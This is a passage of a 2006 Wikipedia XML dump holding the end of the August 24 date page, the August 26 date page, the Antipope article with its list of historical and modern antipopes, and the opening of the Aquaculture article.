*[[1998]] - [[E.G. Marshall]], American actor (b. [[1910]])
*[[2002]] - [[Hoyt Wilhelm]], baseball player (b. [[1922]])
*[[2003]] - Sir [[Wilfred Thesiger]], British explorer (b. [[1910]])
*[[2004]] - [[Elisabeth Kübler-Ross]], Swiss-born psychiatrist (b. [[1926]])

==Holidays and observances==
* [[Roman festivals]] - first of the 3 days on which the ''mundus'' was openend
* [[Calendar of Saints|RC Saints]] - Feast day of Saint [[Bartholomew]]
* [[Liberia]]: Flag Day
* [[Sierra Leone]]: President's Birthday
* [[Ukraine]]: National Holiday, independence from Russia (1991)
==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/24 BBC: On This Day]

----

[[August 23]] - [[August 25]] - [[July 24]] - [[September 24]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:24 Augustus]]
[[ar:24 أغسطس]]
[[an:24 d'agosto]]
[[ast:24 d'agostu]]
[[bg:24 август]]
[[be:24 жніўня]]
[[bs:24. august]]
[[ca:24 d'agost]]
[[ceb:Agosto 24]]
[[cv:Çурла, 24]]
[[co:24 d'aostu]]
[[cs:24. srpen]]
[[cy:24 Awst]]
[[da:24. august]]
[[de:24. August]]
[[et:24. august]]
[[el:24 Αυγούστου]]
[[es:24 de agosto]]
[[eo:24-a de aŭgusto]]
[[eu:Abuztuaren 24]]
[[fo:24. august]]
[[fr:24 août]]
[[fy:24 augustus]]
[[ga:24 Lúnasa]]
[[gl:24 de agosto]]
[[ko:8월 24일]]
[[hr:24. kolovoza]]
[[io:24 di agosto]]
[[id:24 Agustus]]
[[ia:24 de augusto]]
[[ie:24 august]]
[[is:24. ágúst]]
[[it:24 agosto]]
[[he:24 באוגוסט]]
[[jv:24 Agustus]]
[[ka:24 აგვისტო]]
[[csb:24 zélnika]]
[[ku:24'ê gelawêjê]]
[[lt:Rugpjūčio 24]]
[[lb:24. August]]
[[hu:Augusztus 24]]
[[mk:24 август]]
[[ms:24 Ogos]]
[[nap:24 'e aùsto]]
[[nl:24 augustus]]
[[ja:8月24日]]
[[no:24. august]]
[[nn:24. august]]
[[oc:24 d'agost]]
[[pl:24 sierpnia]]
[[pt:24 de Agosto]]
[[ro:24 august]]
[[ru:24 августа]]
[[sco:24 August]]
[[sq:24 Gusht]]
[[scn:24 di austu]]
[[simple:August 24]]
[[sk:24. august]]
[[sl:24. avgust]]
[[sr:24. август]]
[[fi:24. elokuuta]]
[[sv:24 augusti]]
[[tl:Agosto 24]]
[[tt:24. August]]
[[te:ఆగష్టు 24]]
[[th:24 สิงหาคม]]
[[vi:24 tháng 8]]
[[tr:24 Ağustos]]
[[uk:24 серпня]]
[[wa:24 d' awousse]]
[[war:Agosto 24]]
[[zh:8月24日]]
[[pam:Agostu 24]]</text>
    </revision>
  </page>
  <page>
    <title>August 26</title>
    <id>1630</id>
    <revision>
      <id>41944558</id>
      <timestamp>2006-03-02T20:17:19Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <comment>/* Events */ Sorry, Joan of Arc never entered Paris.  The battle she fought at the city wall was September 8.</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=26}}
|}
'''[[August 26]]''' is the 238th day of the year in the [[Gregorian Calendar]] (239th in [[leap year]]s). There are 127 days remaining.

==Events==
*[[55 BC]] - [[Julius Caesar]] invades [[British Iron Age|Britain]]
*[[1071]] - [[Battle of Manzikert]]: The [[Seljuk Turks]] defeat the [[Byzantine Empire]] at [[Manzikert]]
*[[1278]] - [[Ladislaus IV of Hungary]] and [[Rudolph I of Germany]] defeat [[Premysl Ottokar II]] of [[Bohemia]] in the [[Battle of Marchfield]] near [[Dürnkrut]] in [[Moravia]].
*[[1346]] - [[Hundred Years' War]]: The military supremacy of the English [[longbow]] over the French combination of [[crossbow]] and armoured [[knight]]s is established at the [[Battle of Crécy]].
*[[1498]] - [[Michelangelo]] commissioned to carve the [[Michelangelo's Pietà|Pietà]].
*[[1778]] - The first ascent of [[Triglav]], the highest mountain of [[Slovenia]].
*[[1789]] - [[Declaration of the Rights of Man and of the Citizen]] approved by [[Constituent Assembly]] at [[Palace of Versailles]]
*[[1839]] - The ship ''[[Amistad (ship)|Amistad]]'' is captured off [[Long Island]].
*[[1858]] - First news dispatch by [[Telegraphy|telegraph]].
*[[1862]] - [[American Civil War]]: The [[Second Battle of Bull Run]] begins.
*[[1883]] - Eruption of Mount [[Krakatoa]].
*[[1914]] - [[World War I]]: [[Germany|Germans]] defeat [[Russia]]ns in [[Battle of Tannenberg (1914)|Battle of Tannenberg]]. 
*[[1914]] - World War I: The [[British Expeditionary Force]] briefly checks the German advance at [[Le Cateau-Cambrésis|Le Cateau]].
*[[1914]] - World War I: The German colony of [[Togoland]] is invaded by French and British forces, who take it after 5 days.
*[[1920]] - [[United States Constitution/Amendment Nineteen|19th amendment]] to U.S. Constitution gives women the right to vote.
*[[1939]] - The first [[Major League Baseball]] game is telecast, a double-header between the [[Cincinnati Reds]] and the [[Los Angeles Dodgers|Brooklyn Dodgers]] at [[Ebbets Field]], in [[Brooklyn, New York]].
*[[1940]] - [[Chad]] is the first French colony to join the Allies under the administration of Félix Éboué, France's first black colonial governor.
*[[1944]] - [[World War II]]: [[Charles de Gaulle]] enters [[Paris]].
*[[1957]] - The [[USSR]] announces the successful test of an [[ICBM]] - a &quot;super longdistance intercontinental multistage ballistic rocket ... a few days ago,&quot; according to Tass Soviet News Agency.
*[[1968]] - [[1968 Democratic National Convention|Democratic National Convention]] opens in [[Chicago, Illinois]]
*[[1968]] - [[The Beatles]]' &quot;[[Hey Jude]]&quot; is released as a [[single (music)|single]] in the United States under the [[Apple Records]] label.
*[[1972]] - [[1972 Summer Olympics|Games of the XX Olympiad]] open in [[Munich]], [[Germany]].
*[[1976]] - [[Raymond Barre]] becomes Prime Minister of [[France]].
*[[1978]] - [[Papal conclave, 1978 (August)]]: [[Pope John Paul I]] is elevated to the [[Papacy]].
*[[1978]] - [[Sigmund Jähn]] becomes first [[Germany|German]] [[astronaut|cosmonaut]] on board of the [[Soyuz 31]] spacecraft.
*[[1986]] - Toxic gas kills 1700 in [[Cameroon]].
*[[1987]] - [[President of the United States|President]] [[Ronald Reagan|Ronald Wilson Reagan]] proclaims [[September 11]], [[1987]] as 9-1-1 [[Emergency telephone number|Emergency Number]] Day.
*[[1988]] - [[Merhan Karimi Nasseri]] arrives at [[Charles de Gaulle International Airport]].
* [[1997]] - [[Beni-Ali massacre]] in [[Algeria]]; 60-100 people killed.
*[[2002]] - [[Los Angeles Dodgers]] pitcher [[Éric Gagné]] converts his first of a record 84 consecutive successful save opportunities.
*[[2002]] - [[Earth Summit 2002]] begins in [[Johannesburg, South Africa]].
*[[2003]] - [[Columbia Accident Investigation Board]] releases its final reports on [[Space Shuttle Columbia disaster]].
*[[2005]] - [[Fiji]]'s High Court rules that the island's [[sodomy law]] is unconstitutional.
*[[2005]] - [[Jean Michel Jarre]]'s &quot;[[Space of Freedom]]&quot; concert in [[Gdańsk]], [[Poland]]

==Births==
*[[1469]] - [[Ferdinand II of Naples]] (d. [[1496]])
*[[1540]] - King [[Magnus of Livonia]] (d. [[1583]])
*[[1676]] - [[Robert Walpole]], [[Prime Minister of the United Kingdom]] (d. [[1745]])
*[[1694]] - [[Elisha Williams]], American rector of Yale College (d. [[1755]])
*[[1736]] - [[Jean-Baptiste L. Romé de l'Isle]], French chemist (d. [[1790]])
*[[1743]] - [[Antoine Lavoisier]], French chemist (d. [[1794]])
*[[1775]] - [[William Joseph Behr]], German writer (d. [[1851]])
*[[1792]] - [[Manuel Oribe]], Uruguayan political figure (d. [[1857]])
*[[1850]] - [[Charles Robert Richet]], French physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (d. [[1935]])
*[[1873]] - [[Lee DeForest]], American inventor (d. [[1961]])
*[[1874]] - [[Zona Gale]], American novelist  (d. [[1938]])
*[[1875]] - [[John Buchan, 1st Baron Tweedsmuir]], Scottish novelist, [[Governor General of Canada]] (d. [[1940]])
*[[1880]] - [[Guillaume Apollinaire]], French poet and art critic (d. [[1918]])
*[[1882]] - [[James Franck]], German-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1964]])
*[[1896]] - [[Ivan Mihailov]], Bulgarian revolutionary (d. [[1990]])
*[[1897]] - [[Yoon Boseon]], [[President of South Korea]] (d. [[1990]])
*[[1898]] - [[Peggy Guggenheim]], American art collector (d. [[1979]])
*[[1900]] - [[Hellmuth Walter]], German engineer and inventor (d. [[1980]])
*[[1901]] - [[Maxwell Taylor]], American general (d. [[1987]])
*  1901   - [[Chen Yi (communist)|Chen Yi]], Chinese communist military commander and politician (d. [[1972]])
*[[1904]] - [[Christopher Isherwood]], English-born writer (d. [[1986]])
*[[1906]] - [[Albert Sabin]], American polio researcher (d. [[1993]])
*[[1909]] - [[Jim Davis (actor)|Jim Davis]], American actor (d. [[1981]])
*[[1914]] - [[Julio Cortázar]], Argentine writer (d. [[1984]])
*[[1921]] - [[Benjamin Bradlee]], American journalist
*[[1922]] - [[Irving R. Levine]], American journalist
*[[1923]] - [[Wolfgang Sawallisch]], German conductor and pianist
*[[1934]] - [[Tom Heinsohn]], American basketball player and commentator
*[[1935]] - [[Geraldine Ferraro]], U.S. Vice Presidential candidate
*[[1936]] - [[Yvette Vickers]], American actress
*[[1940]] - [[Don LaFontaine]], American voice actor
*[[1941]] - [[Barbet Schroeder]], Swiss film director
*  1941   - [[Akiko Wakabayashi]], Japanese actress
*[[1942]] - [[Vic Dana]], American singer
*1942 - [[Dennis Turner]], British politician
*[[1944]] - [[Prince Richard, Duke of Gloucester]]
*[[1946]] - [[Valerie Simpson]], American singer
*  1946   - [[Tom Ridge]], first [[United States Secretary of Homeland Security]]
*  1946   - [[Zhou Ji]], education minister of the People's Republic of China
*[[1952]] - [[Michael Jeter]], American actor (d. [[2003]])
*[[1953]] - [[Pat Sharkey]], Northern Irish footballer
*[[1956]] - [[Brett Cullen]], American actor
*[[1957]] - [[Dr. Alban]], Nigerian singer
*[[1960]] - [[Branford Marsalis]], American saxophonist and bandleader
*[[1965]] - [[Chris Burke (baseball player)|Chris Burke]], American actor
*1965 - [[Jon Hensley]], American actor
*[[1966]] - [[Jacques Brinkman]], Dutch field hockey player
*1966 - [[Shirley Manson]], Scottish singer
*[[1971]] - [[Thalía (actress)|Thalía]], Mexican actress
*[[1979]] - [[Jamal Lewis]], American football player
*[[1980]] - [[Macaulay Culkin]], American actor

==Deaths==
*[[1278]] - King [[Otakar II of Bohemia]]
*[[1346]] - Killed in the [[Battle of Crécy]]:
**[[Charles II of Alençon]] (b. [[1297]])
**[[Louis I of Flanders]] (b. [[1304]]) 
**[[John I, Count of Luxemburg]] (b. [[1296]]) 
**[[Rudolph, Duke of Lorraine]] (b. [[1320]]) 
*[[1349]] - [[Thomas Bradwardine]], [[Archbishop of Canterbury]]
*[[1551]] - [[Margareta Leijonhufvud]], queen of [[Gustav I of Sweden]] (b. [[1516]])
*[[1595]] - [[Antonio, Prior of Crato]], claimant to the throne of Portugal (b. [[1531]])
*[[1666]] - [[Frans Hals]], Dutch painter
*[[1714]] - [[Edward Fowler]], English Bishop of Gloucester (b. [[1632]])
*[[1723]] - [[Anton van Leeuwenhoek]], Dutch scientist (b. [[1632]])
*[[1785]] - [[George Germain, 1st Viscount Sackville]], British soldier and politician (b. [[1716]])
*[[1850]] - [[Louis-Philippe of France]] (b. [[1773]])
*[[1915]] - [[John Bunny]] American comedian (b. [[1863]])
*[[1930]] - [[Lon Chaney, Sr.]], American actor (b. [[1883]])
*[[1944]] - [[Adam von Trott zu Solz]], German diplomat opposing the Nazi regime (executed) 
*[[1945]] - [[Franz Werfel]], Austrian writer (b. [[1890]])
*[[1958]] - [[Ralph Vaughan Williams]], English composer (b. [[1872]])
*[[1968]] - [[Kay Francis]], American actress (b. [[1899]])
*[[1974]] - [[Charles Lindbergh]], American aviator (b. [[1902]])
*[[1976]] - [[Lotte Lehmann]], German soprano (b. [[1888]])
*[[1978]] - [[Charles Boyer]], French actor (b. [[1899]])
*1978 - [[José Manuel Moreno]], Argentine footballer (b. [[1916]])
*[[1979]] - [[Mika Waltari]], Finnish author (b. [[1908]])
*[[1980]] - [[Rosa Albach-Retty]], German actress (b. [[1874]])
*1980 - [[Tex Avery]], American cartoonist (b. [[1908]])
*[[1981]] - [[Roger Nash Baldwin]], founder of the American Civil Liberties Union (b. [[1884]])
*[[1986]] - [[Ted Knight]], American actor (b. [[1923]])
*[[1987]] - [[Georg Wittig]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1897]])
*[[1988]] - [[Carlos Paião]], Portuguese singer (b. [[1957]])
*[[1989]] - [[Irving Stone]], American author (b. [[1903]])
*[[1990]] - [[Minoru Honda]], Japanese astronomer (b. [[1913]])
*[[1998]] - [[Frederick Reines]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1918]])
*[[2003]] - [[Jim Wacker]], American football coach (b. [[1937]])
*[[2004]] - [[Laura Branigan]], American singer (b. [[1957]])
*[[2005]] - [[Denis D'Amour]], founding member and guitarist of Canadian metal band Voivod. (b. [[1960]]) 
*2005  - [[Robert Denning]], Interior designer (b. [[1927]])

==Holidays and observances==
*[[Calendar of Saints|RC saints]] - [[Pope Zephyrinus|St Zephyrinus]], [[Saint Ninian]], [[David Lewis]] (one of the [[Forty Martyrs of England and Wales]])
*[[Namibia]] - Namibia Day or Heroes' Day
*[[Zanzibar]] - [[Sultan's Birthday]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/26 BBC: On This Day]

----

[[August 25]] - [[August 27]] - [[July 26]] - [[September 26]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:26 Augustus]]
[[ang:26 Wēodmōnaþ]]
[[ar:26 أغسطس]]
[[an:26 d'agosto]]
[[ast:26 d'agostu]]
[[bg:26 август]]
[[be:26 жніўня]]
[[bs:26. august]]
[[ca:26 d'agost]]
[[ceb:Agosto 26]]
[[cv:Çурла, 26]]
[[co:26 d'aostu]]
[[cs:26. srpen]]
[[cy:26 Awst]]
[[da:26. august]]
[[de:26. August]]
[[et:26. august]]
[[el:26 Αυγούστου]]
[[es:26 de agosto]]
[[eo:26-a de aŭgusto]]
[[eu:Abuztuaren 26]]
[[fo:26. august]]
[[fr:26 août]]
[[fy:26 augustus]]
[[ga:26 Lúnasa]]
[[gl:26 de agosto]]
[[ko:8월 26일]]
[[hr:26. kolovoza]]
[[io:26 di agosto]]
[[id:26 Agustus]]
[[ia:26 de augusto]]
[[ie:26 august]]
[[is:26. ágúst]]
[[it:26 agosto]]
[[he:26 באוגוסט]]
[[jv:26 Agustus]]
[[ka:26 აგვისტო]]
[[csb:26 zélnika]]
[[ku:26'ê gelawêjê]]
[[la:26 Augusti]]
[[lt:Rugpjūčio 26]]
[[lb:26. August]]
[[hu:Augusztus 26]]
[[mk:26 август]]
[[ms:26 Ogos]]
[[nap:26 'e aùsto]]
[[nl:26 augustus]]
[[ja:8月26日]]
[[no:26. august]]
[[nn:26. august]]
[[oc:26 d'agost]]
[[pl:26 sierpnia]]
[[pt:26 de Agosto]]
[[ro:26 august]]
[[ru:26 августа]]
[[se:Borgemánu 26.]]
[[sco:26 August]]
[[sq:26 Gusht]]
[[scn:26 di austu]]
[[simple:August 26]]
[[sk:26. august]]
[[sl:26. avgust]]
[[sr:26. август]]
[[fi:26. elokuuta]]
[[sv:26 augusti]]
[[tl:Agosto 26]]
[[tt:26. August]]
[[te:ఆగష్టు 26]]
[[th:26 สิงหาคม]]
[[vi:26 tháng 8]]
[[tr:26 Ağustos]]
[[uk:26 серпня]]
[[wa:26 d' awousse]]
[[war:Agosto 26]]
[[zh:8月26日]]
[[pam:Agostu 26]]</text>
    </revision>
  </page>
  <page>
    <title>Antipope</title>
    <id>1633</id>
    <revision>
      <id>41282213</id>
      <timestamp>2006-02-26T06:58:59Z</timestamp>
      <contributor>
        <ip>68.100.144.157</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:Antipope_Felix_V.jpg|thumbnail|right|200px|[[Antipope Felix V]], the last historical Antipope.]]
An '''antipope''' is one whose claim to being [[Pope]] is the result of a disputed or contested election. These antipopes were usually in opposition to a specific person chosen by the papal electors (since the [[Middle Ages]], the [[College of Cardinals]]; in the twentieth century, their special secret meeting, called [[conclave]], however applies the age limit for eligibility). Some self-appointed leaders of smaller churches are also called &quot;antipopes.&quot;

==History==
During certain periods of turbulence in the [[Catholicism|Roman Catholic Church]], controversial Papal elections were conducted. Some such elections were considered invalid, either because a large majority of papal electors claimed the election was invalid (such as the election of [[Amadeus VIII of Savoy|Felix V]]), or because they have subsequently been declared invalid (such as [[Antipope Clement VII|Clement VII]]). 

The earliest antipope, [[Antipope Hippolytus|Hippolytus]], was elected in protest against [[Pope Callixtus I]] by a schismatic group in the city of [[Rome]] in the [[3rd century]]. Hippolytus was [[exile]]d to the mines on the island of [[Sardinia]] in the company of Callixtus' successor [[Pope Pontian]], and was reconciled to the Catholic Church before his death and has been [[canonization|canonized]] by the Church. The [[Catholic Encyclopedia]] also mentions a Natalius[http://www.newadvent.org/cathen/10448a.htm], before Hippolytus, as first antipope, who, according to Eusebius's EH5.28.8-12, quoting the ''Little Labyrinth'' of Hippolytus, after being &quot;[[Scourge|scourged]] all night by the holy angels&quot;, covered in ash, dressed in [[sackcloth]], and &quot;after some difficulty&quot;, tearfully submitted to [[Pope Zephyrinus]].

The period when antipopes were most numerous was during the struggles between the Popes and the [[Holy Roman Emperor]]s of the [[11th century|11th]] and [[12th century|12th centuries]]. The emperors would frequently sponsor antipopes in order to further their cause. (The popes, likewise, frequently sponsored rival imperial claimants in Germany in attempts to disrupt imperial policy.)

The late [[14th century|14th]] and early [[15th century]] saw a series of rival popes elected, one line of which is counted by the Roman Catholic Church as popes and the other as antipopes. The scandal of multiple claimants added to the demands for reform that produced the [[Protestant Reformation]] at the turn of the [[16th century]]. (See [[Western Schism]], [[Antipope Benedict XIII]].)

It was not evident, during periods when two (or three) rival claimants existed, which was the antipope, and which was the pope, and the clear-cut distinctions made between them in retrospect can give a false sense that certainty existed among their contemporaries. Supporters might offer assistance to a given candidate, but could not know which would be determined to have been an antipope, and which the pope, until events had run their course. 

There has not been an antipope since [[1449]] (unless ''[[Antipope#Sedevacantist antipopes|Sedevacantist antipopes]]'' are counted - see below). Other schisms such as the [[Church of England]], the [[Old Catholic Church]] and the [[Chinese Patriotic Catholic Association]] began in a rejection of a primary [[dogma]] of the papacy.

Today the act of becoming an Antipope is considered a schismatic act by the Roman Catholic Church.  This would result in automatic [[excommunication]] for the person who became Antipope.

== List of antipopes ==
#[[Antipope Hippolytus|St. Hippolytus]] ''(reconciled with Pope St. Pontian and died as martyr to the church),'' [[217]]&amp;ndash;[[235]]
#[[Antipope Novatian|Novatian]], [[251]]&amp;ndash;[[258]]
#[[Antipope Felix II|Felix II]] ''(confused with a martyr with the same name and thus considered an authentic pope until recently),'' [[355]]&amp;ndash;[[365]]
#[[Antipope Ursicinus|Ursicinus]] (Ursinus), [[366]]&amp;ndash;[[367]] 
#[[Antipope Eulalius|Eulalius]], [[418]]&amp;ndash;[[419]]
#[[Antipope Laurentius|Laurentius]], [[498]]&amp;ndash;[[499]], [[501]]&amp;ndash;[[506]]
#[[Antipope Dioscorus|Dioscorus]] ''(legitimate perhaps as opposed to Boniface II but died 22 days after election)'', [[530]]
#[[Antipope Theodore|Theodore (II)]] ''(opposed to antipope Paschal),'' [[687]] 
#[[Antipope Paschal|Paschal (I)]] ''(opposed to antipope Theodore),'' [[687]] 
#[[Antipope Theofylact|Theofylact]], [[757]]
#[[Antipope Constantine II|Constantine II]], [[767]]&amp;ndash;[[768]]
#[[Antipope Philip|Philip]] ''(replaced antipope Constantine II briefly; reigned for a day and then returned to his monastery),'' [[768]] 
#[[Antipope John VIII|John VIII]], [[844]]
#[[Antipope Anastasius|Anastasius III Bibliothecarius]], [[855]]
#[[Antipope Christopher|Christopher]], [[903]]&amp;ndash;[[904]]
#[[Antipope Boniface VII|Boniface VII]], [[974]], [[984]]&amp;ndash;[[985]]
#John Filagatto ([[Antipope John XVI|John XVI]]), [[997]]&amp;ndash;[[998]] 
#[[Antipope Gregory VI|Gregory VI]], [[1012]]
#[[Antipope Sylvester III|Sylvester III]], [[1045]]
#John Mincius ([[Antipope Benedict X|Benedict X]]), [[1058]]&amp;ndash;[[1059]] 
#Pietro Cadalus ([[Antipope Honorius II|Honorius II]]), [[1061]]&amp;ndash;[[1064]]
#Guibert of Ravenna ([[Antipope Clement III|Clement III]]), [[1080]] &amp; [[1084]]&amp;ndash;[[1100]]
#[[Antipope Theodoric|Theodoric]], [[1100]]&amp;ndash;[[1101]]
#[[Antipope Adalbert|Adalbert]], [[1101]]
#Maginulf ([[Antipope Sylvester IV|Sylvester IV]]), [[1105]]&amp;ndash;[[1111]]
#Maurice Burdanus ([[Antipope Gregory VIII|Gregory VIII]]), [[1118]]&amp;ndash;[[1121]]
#Thebaldus Buccapecuc ([[Antipope Celestine II|Celestine II]]) ''(legitimate but submitted to opposing pope, Honorius II and afterwards considered an antipope),'' [[1124]]
#Pietro Pierleoni ([[Antipope Anacletus II|Anacletus II]]), [[1130]]&amp;ndash;[[1138]]
#Gregorio Conti ([[Antipope Victor IV (1138)|Victor IV]]), [[1138]]
#Ottavio di Montecelio ([[Antipope Victor IV (1159-1164)|Victor IV]]), [[1159]]&amp;ndash;[[1164]]
#Guido di Crema ([[Antipope Paschal III|Paschal III]]), [[1164]]&amp;ndash;[[1168]]
#Giovanni of Struma ([[Antipope Callixtus III|Callixtus III]]), [[1168]]&amp;ndash;[[1178]]
#Lanzo of Sezza ([[Antipope Innocent III|Innocent III]]), [[1179]]&amp;ndash;[[1180]]
#Pietro Rainalducci ([[Antipope Nicholas V|Nicholas V]]), ''antipope in Rome'', [[1328]]&amp;ndash;[[1330]]
#Robert of Geneva ([[Antipope Clement VII|Clement VII]]), ''antipope of the Avignon line'', [[20 September]] [[1378]] &amp;ndash; [[16 September]] [[1394]]
#Pedro de Luna ([[Antipope Benedict XIII|Benedict XIII]]), ''antipope of the Avignon line'', [[1394]]&amp;ndash;[[1423]]
#Pietro Philarghi [[Pope Alexander V|Alexander V]], ''antipope of the Pisan line'', [[1409]]&amp;ndash;[[1410]]
#Baldassare Cosa [[Antipope John XXIII|John XXIII]], ''antipope of the Pisan line'', [[1410]]&amp;ndash;[[1415]]
#Gil Sánchez Muñoz ([[Antipope Clement VIII|Clement VIII]]), ''antipope of the Avignon line'', [[1423]]&amp;ndash;[[1429]]
#[[Bernard Garnier]] (the first Benedict XIV), ''antipope of the Avignon line'', [[1425]]&amp;ndash;c. [[1429]]
#[[Jean Carrier]] (the second Benedict XIV), ''antipope of the Avignon line'', [[1430]]&amp;ndash;[[1437]]? 
#Duke Amadeus VIII of Savoy ([[Antipope Felix V|Felix V]]), [[5 November ]] [[1439]] &amp;ndash; [[7 April]] [[1449]]

==Sedevacantist antipopes==
Some breakaway Catholics today, called [[Sedevacantism|sedevacantists]], claim the current Popes are heretics for various reforms which sedevacantists see as innovations in the practices of Roman Catholic Church which were adopted during the reigns of Pope [[John XXIII]] and Pope [[Paul VI]], including aspects of the [[Second Vatican Council]]. Chief among these criticized reforms is the replacing of the [[Tridentine Latin Mass]] with the [[Novus Ordo Missae]].  Many sedevacantists also object to the celebration of the Mass in the [[vernacular]], despite the fact that various provisions existed for the celebration of the Mass in the vernacular prior to the reign of Pope John XXIII. Since the opinion of many Catholic theologians is that a [[heretic]]al Pope would cease to be Catholic and therefore cease to be Pope, sedevacantists believe the current Bishops of Rome are not actually popes. Some sedevacantist groups have their own popes to replace the popes they reject. They are sometimes called antipopes, although it should be noted that in contrast to historical antipopes, the number of their followers is minuscule. Some of these antipopes have developed their own religious infrastructure in recognition that the conventional popes are not likely to consider ceding authority to them, thus being at once antipopes of the ''Universal Church'' and popes of their particular sect.

Sedevacantist antipopes frequently refer to the conventional successors of [[Pope Pius XII]] as a series of antipapacies.

There is a significant number of antipopes self-proclaimed Peter II, due to the special meaning of this name; see [[Antipope Peter II]].

=== Antipopes of the 20th-21st centuries ===
====[[Palmarian Catholic Church]]====
* [[Clemente Domínguez y Gómez]] (Gregory XVII), mystically self-proclaimed from [[1978]]&amp;ndash;2005 in [[Spain]], pope of the [[Palmarian Catholic Church]].
* [[Manuel Corral|Manuel Alonso Corral]] ([[Antipope Peter II|Peter II]]), succeeded  Gregory XVII as the Pope of the [[Palmarian Catholic Church]] in 2005 in [[Spain]]

====[[Reformed Church of Christ]]/[[Apostles of Infinite Love]]====
*[[Michel-Auguste-Marie Collin]] (Clement XV), self-proclaimed [[1963]] in [[Clémery]], [[France]] (later at [[St. Jovite]], [[Canada]]), Pope of the &quot;[[Renewed Church of Christ]]&quot; or &quot;[[Church of the Magnificat]]&quot; 
* [[Jean-Gaston Tremblay]] (Gregory XVII), succeeded Clement XV in [[1968]] in [[Canada]]; not to be confused with the Canadian politician [[Gaston Tremblay]]

====[[Conclavist]] movements====
These antipopes are (for the most part) not self-proclaimed in the strictest sense but organized and held elections of 'faithful' Catholics.  The verifiable smallest of these '[[Conclave]]s' was attended by only 6 electors, the size of the largest is not known but claimed to be at least larger than the conclave which elected [[Pope Pius XII]].

* [[David Bawden]] (Michael I), self-proclaimed in [[1990]] in [[Kansas]], [[United States|United States of America]] (&quot;conclave&quot; of 6 electors)
* [[Victor von Pentz]] (Linus II), either self-proclaimed in [[1994]] in [[Hertfordshire]], [[United Kingdom]] or elected by several Sedevacantists in [[Assisi]] (disputed)
* [[Lucian Pulvermacher]] (Pius XIII), self-proclaimed in [[1998]] in [[Montana]], [[United States|United States of America]], Pope of the self-proclaimed &quot;[[true Catholic Church]]&quot;.  Claims to have been elected by a conclave of a secret number but at least 61 electors.
* [[Reinaldus Michael Benjamins]] (Antipope Gregory XIX) self-proclaimed in [[2001]] in [[New York]], [[United States of America]].

====Independents and Antipopes of other groups====
* [[Gino Frediani]] (Emmanuel I), self-proclaimed from [[1973]]&amp;ndash;[[1984]] in [[Italy]], Pope of the &quot;[[New Church of the Holy Heart of Jesus]]&quot;
* [[Valeriano Vestini]] (Valeriano I), self-proclaimed in [[1990]] in [[Province of Chieti|Chieti]], [[Italy]]
* [[Maurice Archieri|Maurice Archieri of Le Perreux]]  ([[Antipope Peter II|Peter II]]) of Le Perreux,  self-proclaimed in [[1995]] in [[France]]
* [[Julius Tischler]]  ([[Antipope Peter II|Peter II]]) of [[Germany]]
* [[Pierre Henri Bubois]]  ([[Antipope Peter II|Peter II]]) of [[Brussels]], [[Belgium]]
* [[Chester Olszewski]] ([[Antipope Peter II|Peter II]]), self-proclaimed in [[1980]] of [[Pennsylvania]], [[United States|USA]]
* [[William Kamm]]  ([[Antipope Peter II|Peter II]]) of [[Australia]], Pope of the &quot;Order of Saint Charbel&quot; movement.

==See also==
* [[Antipopes in fiction]]
* [[Sedevacantism]]
* [[List of popes]]

*Trentidines recognise the Roman pope, but dispute theology. Notable among these is [[Michael Cox]], of Cree, Birr, Co. Offaly, who infamously ordained [[Sinead O'Conner]] and Bishop [[Pat Buckley]] and conducts weddings of those the regular church refuses to entertain.

==Sources and References==
*[http://www.newadvent.org/cathen/01582a.htm Catholic Encyclopaedia- article Antipope]
*[http://media.isnet.org/kristen/Ensiklopedia/AntiPope.html The Pope Encyclopaedia - article Antipope]

[[Category:Antipopes| ]]
[[Category:Ecclesiastical titles]]
[[Category:History of the Papacy]]
[[Category:Pope-related lists]]

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  </page>
  <page>
    <title>Aquaculture</title>
    <id>1634</id>
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      <id>41943492</id>
      <timestamp>2006-03-02T20:09:56Z</timestamp>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">{{globalize|January 2006}}
'''Aquaculture'''  is the cultivation of the natural produce of water (such as fish or shellfish, algae and other aquatic plants).  [[Mariculture]] is specifically [[ocean|marine]] aquaculture, and thus is a subset of aquaculture. Some examples of aquaculture include raising [[catfish]] and [[tilapia]] in freshwater ponds, growing [[pearl|cultured pearls]], and farming [[salmon]] in net-pens set out in a bay. [[Fish farming]] is a common type.

== History ==
The practice of aquaculture is very ancient and found in many cultures. 

Aquaculture was used in [[China]] circa [[2500 BC]]. When the waters lowered after river floods, some fishes, namely [[Common carp|carps]], were held in artificial lakes. Their brood were later fed using [[nymph (biology)|nymph]]s and feces from [[silkworm]]s used for silk production.

The Hawaiian people practiced aquaculture by constructing [[fish pond]]s (see [[Hawaiian aquaculture]]). A remarkable example from [[ancient Hawaii]] is the construction of a fish pond, dating from at least 1,000 years ago, at Alekoko. According to legend, it was constructed by the mythical [[Menehune]].

The Romans were quite adept in breeding fish in ponds. In Europe it became common again in monasteries during the [[Middle Ages]], since fish was scarce and thus expensive. Transportation improvements in the 19th century made fish easily available and inexpensive, even far from the seas, causing a decline in aquaculture.

The current boom in aquaculture started in the 1960s as prices for fish began to climb.  Wild fish capture was reaching its peak and the human population was continuing to rise.  Today, commercial aquaculture exists on a unprecedented, huge scale. In the 1980s open-netcage salmon farming was also expanding; this particular type of aquaculture technology is still a minor part of the production of farmed finfish worldwide, but evidence of its negative impact on wild stocks, which started coming to light in the late 1990s, has caused it to be a major cause of controversy.[http://www.davidsuzuki.org/Oceans/Aquaculture/Salmon/]

==Benefits==
Aquaculture has been one of the fastest growing segments of global [[food]] production in recent decades, and has been hailed as an answer to the limits of wild fish stock harvest. 

